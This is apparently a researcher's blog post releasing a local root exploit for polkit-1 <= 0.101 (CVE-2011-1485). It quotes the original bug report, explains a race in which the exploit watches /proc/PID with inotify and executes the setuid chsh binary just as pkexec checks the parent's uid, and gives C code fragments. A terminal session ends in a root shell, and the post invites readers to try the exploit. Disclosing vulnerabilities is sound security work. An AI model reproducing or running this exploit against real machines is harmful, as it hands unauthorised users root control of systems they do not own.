PolicyKit Pwnage: linux local privilege escalation on polkit-1 <= 0.101

Since it's been 6 months since reported, I figure it's been a responsible amount of time for me to wait before releasing a local root exploit for Linux that targets polkit-1 <= 0.101, CVE-2011-1485, a race condition in PolicyKit. I present you with PolicyKit Pwnage.

David Zeuthen of Redhat explains on the original bug report:

Briefly, the problem is that the UID for the parent process of pkexec(1) is read from /proc by stat(2)'ing /proc/PID. The problem with this is that this returns the effective uid of the process which can easily be set to 0 by invoking a setuid-root binary such as /usr/bin/chsh in the parent process of pkexec(1). Instead we are really interested in the real-user-id. While there's a check in pkexec.c to avoid this problem (by comparing it to what we expect the uid to be - namely that of the pkexec.c process itself which is the uid of the parent process at pkexec-spawn-time), there is still a short window where an attacker can fool pkexec/polkitd into thinking that the parent process has uid 0 and is therefore authorized. It's pretty hard to hit this window - I actually don't know if it can be made to work in practice.

Well, here is, in fact, how it's made to work in practice. There is as he said an attempted mitigation, and the way to trigger that mitigation path is something like this:

$ sudo -u `whoami` pkexec sh
User of caller (0) does not match our uid (1000)

Not what we want. So the trick is to execl to a suid at just the precise moment /proc/PID is being stat(2)'d. We use inotify to learn exactly when it's accessed, and execl to the suid binary as our very next instruction.

if (fork()) {
    int fd;
    char pid_path[1024];
    sprintf(pid_path, "/proc/%i", getpid());
    printf("[+] Configuring inotify for proper pid.\n");
    close(0); close(1); close(2);
    fd = inotify_init();
    if (fd < 0)
        perror("[-] inotify_init");
    inotify_add_watch(fd, pid_path, IN_ACCESS);
    read(fd, NULL, 0);

All the code up to this point makes this process block until /proc/PID is read, at which point it:

execl("/usr/bin/chsh", "chsh", NULL);

Which is suid. Meanwhile in the other process, we launch pkexec, which skirts passed the initial checks, but gets fooled when we change the uid of the parent process:

} else {
    printf("[+] Launching pkexec.\n");
    execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL);

And it works:

$ pkexec --version
pkexec version 0.101
$ gcc polkit-pwnage.c -o pwnit
$ ./pwnit 
[+] Configuring inotify for proper pid.
[+] Launching pkexec.
sh-4.2# whoami
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which as of writing uses 0.101, has backported 0.102's bug fix. A way to check this is by looking at the mtime of /usr/bin/pkexec -- April 19, 2011 or later and you're out of luck. It's likely other distributions do the same. Fortunately, this exploit is clean enough that you can try it out without too much collateral.

Here's a proof of concept exploit. You can watch it in action over on YouTube as well.

Greets to Dan.